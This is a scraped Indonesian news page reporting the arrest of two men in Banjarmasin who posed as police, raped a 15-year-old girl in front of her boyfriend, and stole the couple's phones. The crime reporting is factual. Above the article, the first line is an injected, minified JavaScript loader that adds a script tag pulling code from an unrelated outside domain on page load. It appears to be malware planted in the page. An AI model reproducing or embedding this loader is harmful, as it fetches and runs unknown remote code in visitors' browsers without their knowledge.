(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mengaku Polisi, Dua Pria Perkosa Perempuan di Hadapan Pacarnya


BANJARMASIN, Jajaran Polsek Banjarmasin Selatan menangkap dua pelaku pemerkosaan disertai pencurian berinisial TS (33) dan RD (18). Keduanya diringkus di waktu dan tempat berbeda. Tersangka TS diringkus di kawasan Jembatan Barito, pada Rabu (20/6) sekitar pukul 21.00 Wita. Sedangkan tersangka RD dibekuk di rumahnya pada Kamis (21/6) pukul 04.30 Wita.

Kepala Polsek Banjarmasin Selatan, Komisaris Najamuddin Bustari mengatakan, kedua pelaku merupakan warga Desa Belayung, Kecamatan Banjarmasin Selatan. “Pelaku dibekuk tanpa ada perlawanan serta mengakui semua perbuatannya,” kata Kompol Najamuddin.

Dari keterangan tersangka, aksi pemerkosaan dan pencurian itu bermula ketika korban sepasang kekasih berinisial S (15) dan H (23) asyik berbincang di atas motor pada Senin (18/6) pukul 23.00 Wita. Mereka bercengkrama di Jalan Lingkar Dalam Selatan, Kelurahan Tanjung Pagar, Kecamatan Banjarmasin Selatan. Namun tiba-tiba saja kedua pelaku mendatangi mereka.

Pelaku mengancam memukul korban memakai balok kayu. Di bawah ancaman tersebut, korban pun tidak berani melawan. Akhirnya kedua pelaku bergantian memperkosa S. Adapun H ketakutan ketika dua penjahat bergiliran memperkosa S. “Parahnya lagi, pelaku T mengaku sebagai anggota kepolisian untuk menakuti kedua korban. Dan peristiwa tersebut dilakukan dihadapan pacarnya S,” kata Najamuddin.

Setelah memperkosa S, kedua pelaku mengambil paksa dua handphone milik korban lalu melarikan diri. Najamuddin berkata, korban mengalami kerugian materi sekitar Rp 1,1 juta. Menurut dia, tempat kejadian perkara memang gelap dan sepi karena kawasan persawahan sehingga rentan memicu tindak kriminal.

Pelaku melanggar pasal 76 e UU RI Nomor 35 Tahun 2014 dan Pasal 365 KUHP tentang perbuatan asusila atau pencabulan terhadap anak di bawah umur dan pencurian dengan kekerasan. Adapun ancamannya pidana penjara 15 tahun. Penangkapan tersangka yang berlangsung kamis dini hari itu dipimpin langsung Kasat Reskrim Polresta Banjarmasin AKP Ade Papa Rihi, SH, S.I.K, M.h serta Kanit Buser Polsek Banjarmasin Selatan Iptu Sisworo. (ammar/rico)

Reporter:Ammar/Rico
Editor:Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.